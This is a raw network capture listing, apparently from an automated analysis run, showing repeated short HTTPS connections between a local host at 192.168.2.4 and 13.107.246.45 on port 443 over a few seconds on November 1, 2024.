Nov 1, 2024 05:53:28.676359892 CET	49918	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.676424026 CET	443	49918	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.680100918 CET	49918	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.680114031 CET	443	49918	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.808608055 CET	443	49918	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.808716059 CET	443	49918	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.808763981 CET	443	49918	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.808768988 CET	49918	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.808809996 CET	49918	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.810256004 CET	49918	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.810297012 CET	443	49918	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.810363054 CET	49918	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.810376883 CET	443	49918	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.867470026 CET	49923	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.867492914 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.867558956 CET	49923	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.893378973 CET	49923	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.893393040 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.151935101 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.154262066 CET	49921	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.154280901 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.154776096 CET	49921	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.154781103 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.162381887 CET	443	49920	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.162731886 CET	49920	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.162746906 CET	443	49920	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.163110971 CET	49920	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.163116932 CET	443	49920	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.178066015 CET	443	49919	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.178397894 CET	49919	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.178421021 CET	443	49919	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.178807974 CET	49919	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.178812981 CET	443	49919	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.280586004 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.280641079 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.280813932 CET	49921	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.280919075 CET	49921	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.280930996 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.280941010 CET	49921	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.280946016 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.283829927 CET	49924	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.283868074 CET	443	49924	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.283941984 CET	49924	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.284080029 CET	49924	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.284096003 CET	443	49924	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.292629957 CET	443	49920	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.292690039 CET	443	49920	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.292731047 CET	443	49920	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.292740107 CET	49920	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.292793989 CET	49920	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.292846918 CET	49920	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.292846918 CET	49920	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.292861938 CET	443	49920	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.292870998 CET	443	49920	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.294727087 CET	49925	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.294754982 CET	443	49925	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.294836044 CET	49925	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.294954062 CET	49925	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.294965982 CET	443	49925	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.312752008 CET	443	49919	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.312797070 CET	443	49919	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.312849045 CET	49919	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.313000917 CET	49919	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.313011885 CET	443	49919	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.313020945 CET	49919	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.313025951 CET	443	49919	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.314870119 CET	49926	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.314887047 CET	443	49926	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.314955950 CET	49926	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.315077066 CET	49926	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.315090895 CET	443	49926	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.379010916 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.379502058 CET	49922	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.379518986 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.379851103 CET	49922	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.379854918 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.508327007 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.508348942 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.508399010 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.508431911 CET	49922	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.508460045 CET	49922	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.509013891 CET	49922	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.509013891 CET	49922	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.509025097 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.509032965 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.517182112 CET	49927	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.517198086 CET	443	49927	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.517257929 CET	49927	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.518114090 CET	49927	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.518126011 CET	443	49927	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.659755945 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.660263062 CET	49923	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.660283089 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.660722971 CET	49923	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.660727978 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.795486927 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.795530081 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.795583963 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.795583963 CET	49923	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.795640945 CET	49923	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.795849085 CET	49923	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.795862913 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.795872927 CET	49923	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.795878887 CET	443	49923	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.798753023 CET	49928	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.798796892 CET	443	49928	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:29.798892021 CET	49928	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.799056053 CET	49928	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:29.799068928 CET	443	49928	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.004857063 CET	443	49924	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.005285978 CET	49924	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.005316019 CET	443	49924	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.005750895 CET	49924	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.005763054 CET	443	49924	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.037643909 CET	443	49925	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.038069010 CET	49925	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.038094044 CET	443	49925	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.038510084 CET	49925	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.038515091 CET	443	49925	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.043442965 CET	443	49926	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.043778896 CET	49926	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.043790102 CET	443	49926	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.044171095 CET	49926	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.044176102 CET	443	49926	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.133609056 CET	443	49924	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.133944988 CET	443	49924	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.133985996 CET	443	49924	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.134011030 CET	49924	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.134054899 CET	49924	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.134114027 CET	49924	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.134130955 CET	443	49924	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.134145021 CET	49924	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.134151936 CET	443	49924	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.136889935 CET	49929	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.136929035 CET	443	49929	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.136993885 CET	49929	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.137129068 CET	49929	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.137141943 CET	443	49929	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.168591976 CET	443	49925	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.168663979 CET	443	49925	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.168719053 CET	49925	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.168906927 CET	49925	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.168915033 CET	443	49925	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.168929100 CET	49925	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.168934107 CET	443	49925	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.171968937 CET	49930	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.171998024 CET	443	49930	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.172080040 CET	49930	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.172241926 CET	49930	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.172255993 CET	443	49930	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.181988001 CET	443	49926	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.182130098 CET	443	49926	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.182213068 CET	49926	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.182241917 CET	49926	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.182251930 CET	443	49926	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.182260990 CET	49926	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.182265043 CET	443	49926	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.184763908 CET	49931	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.184776068 CET	443	49931	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.184847116 CET	49931	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.184994936 CET	49931	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.185004950 CET	443	49931	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.248135090 CET	443	49927	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.248743057 CET	49927	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.248759985 CET	443	49927	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.249321938 CET	49927	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.249325991 CET	443	49927	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.381159067 CET	443	49927	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.381242037 CET	443	49927	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.381310940 CET	49927	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.388406992 CET	49927	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.388411999 CET	443	49927	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.388448954 CET	49927	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.388465881 CET	443	49927	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.391921997 CET	49932	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.391972065 CET	443	49932	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.392040014 CET	49932	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.392146111 CET	49932	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.392159939 CET	443	49932	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.515878916 CET	443	49928	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.516341925 CET	49928	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.516359091 CET	443	49928	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.516798973 CET	49928	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.516803980 CET	443	49928	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.643826962 CET	443	49928	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.643888950 CET	443	49928	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.643933058 CET	443	49928	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.643935919 CET	49928	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.643979073 CET	49928	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.644151926 CET	49928	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.644165039 CET	443	49928	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.644175053 CET	49928	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.644179106 CET	443	49928	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.646573067 CET	49933	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.646604061 CET	443	49933	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.646684885 CET	49933	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.646831036 CET	49933	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.646845102 CET	443	49933	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.855715036 CET	443	49929	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.856309891 CET	49929	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.856327057 CET	443	49929	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.856724977 CET	49929	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.856730938 CET	443	49929	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.890650034 CET	443	49930	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.891197920 CET	49930	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.891225100 CET	443	49930	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.891686916 CET	49930	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.891694069 CET	443	49930	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.921829939 CET	443	49931	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.922439098 CET	49931	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.922446966 CET	443	49931	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.923039913 CET	49931	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.923043966 CET	443	49931	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.983653069 CET	443	49929	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.983709097 CET	443	49929	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.983772039 CET	49929	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.983978033 CET	49929	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.983988047 CET	443	49929	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.983999014 CET	49929	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.984003067 CET	443	49929	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.986601114 CET	49934	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.986691952 CET	443	49934	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:30.986783981 CET	49934	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.986932039 CET	49934	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:30.986968040 CET	443	49934	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.019223928 CET	443	49930	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.019251108 CET	443	49930	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.019292116 CET	443	49930	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.019337893 CET	49930	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.019357920 CET	49930	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.019529104 CET	49930	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.019537926 CET	443	49930	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.019553900 CET	49930	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.019557953 CET	443	49930	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.021842003 CET	49935	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.021862984 CET	443	49935	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.021936893 CET	49935	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.022053003 CET	49935	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.022063971 CET	443	49935	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.051929951 CET	443	49931	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.051973104 CET	443	49931	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.052030087 CET	49931	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.052166939 CET	49931	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.052171946 CET	443	49931	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.052181005 CET	49931	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.052185059 CET	443	49931	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.054466963 CET	49936	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.054480076 CET	443	49936	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.054536104 CET	49936	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.054685116 CET	49936	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.054694891 CET	443	49936	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.128958941 CET	443	49932	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.129440069 CET	49932	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.129519939 CET	443	49932	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.129878044 CET	49932	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.129892111 CET	443	49932	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.271790028 CET	443	49932	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.271982908 CET	443	49932	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.272034883 CET	443	49932	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.272048950 CET	49932	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.272099018 CET	49932	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.272340059 CET	49932	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.272382021 CET	443	49932	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.272411108 CET	49932	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.272424936 CET	443	49932	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.275357008 CET	49937	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.275374889 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.275465012 CET	49937	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.275633097 CET	49937	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.275645971 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.415823936 CET	443	49933	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.416357994 CET	49933	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.416377068 CET	443	49933	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.416831017 CET	49933	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.416836977 CET	443	49933	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.554013968 CET	443	49933	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.554105997 CET	443	49933	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.554157019 CET	49933	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.554321051 CET	49933	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.554331064 CET	443	49933	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.554342985 CET	49933	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.554347038 CET	443	49933	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.557068110 CET	49938	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.557087898 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.557152987 CET	49938	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.557379961 CET	49938	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.557393074 CET	443	49938	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.705827951 CET	443	49934	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.706556082 CET	49934	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.706608057 CET	443	49934	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.707004070 CET	49934	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.707019091 CET	443	49934	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.759588003 CET	443	49935	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.759906054 CET	49935	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.759936094 CET	443	49935	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.760282040 CET	49935	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.760288000 CET	443	49935	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.789155006 CET	443	49936	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.789505959 CET	49936	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.789516926 CET	443	49936	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.790082932 CET	49936	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.790087938 CET	443	49936	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.834366083 CET	443	49934	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.834412098 CET	443	49934	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.834460020 CET	49934	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.834621906 CET	49934	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.834661961 CET	443	49934	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.834692955 CET	49934	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.834708929 CET	443	49934	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.837275028 CET	49939	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.837300062 CET	443	49939	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.837378025 CET	49939	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.837524891 CET	49939	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.837537050 CET	443	49939	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.889921904 CET	443	49935	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.889983892 CET	443	49935	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.890059948 CET	49935	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.890173912 CET	49935	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.890186071 CET	443	49935	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.890196085 CET	49935	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.890199900 CET	443	49935	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.892410994 CET	49940	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.892424107 CET	443	49940	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.892498970 CET	49940	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.892631054 CET	49940	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.892641068 CET	443	49940	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.919603109 CET	443	49936	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.919653893 CET	443	49936	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.919715881 CET	49936	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.919862032 CET	49936	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.919869900 CET	443	49936	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.919879913 CET	49936	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.919883966 CET	443	49936	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.922159910 CET	49941	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.922229052 CET	443	49941	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:31.922466993 CET	49941	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.922466993 CET	49941	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:31.922544003 CET	443	49941	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.038356066 CET	443	49937	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:32.038870096 CET	49937	443	192.168.2.4	13.107.246.45
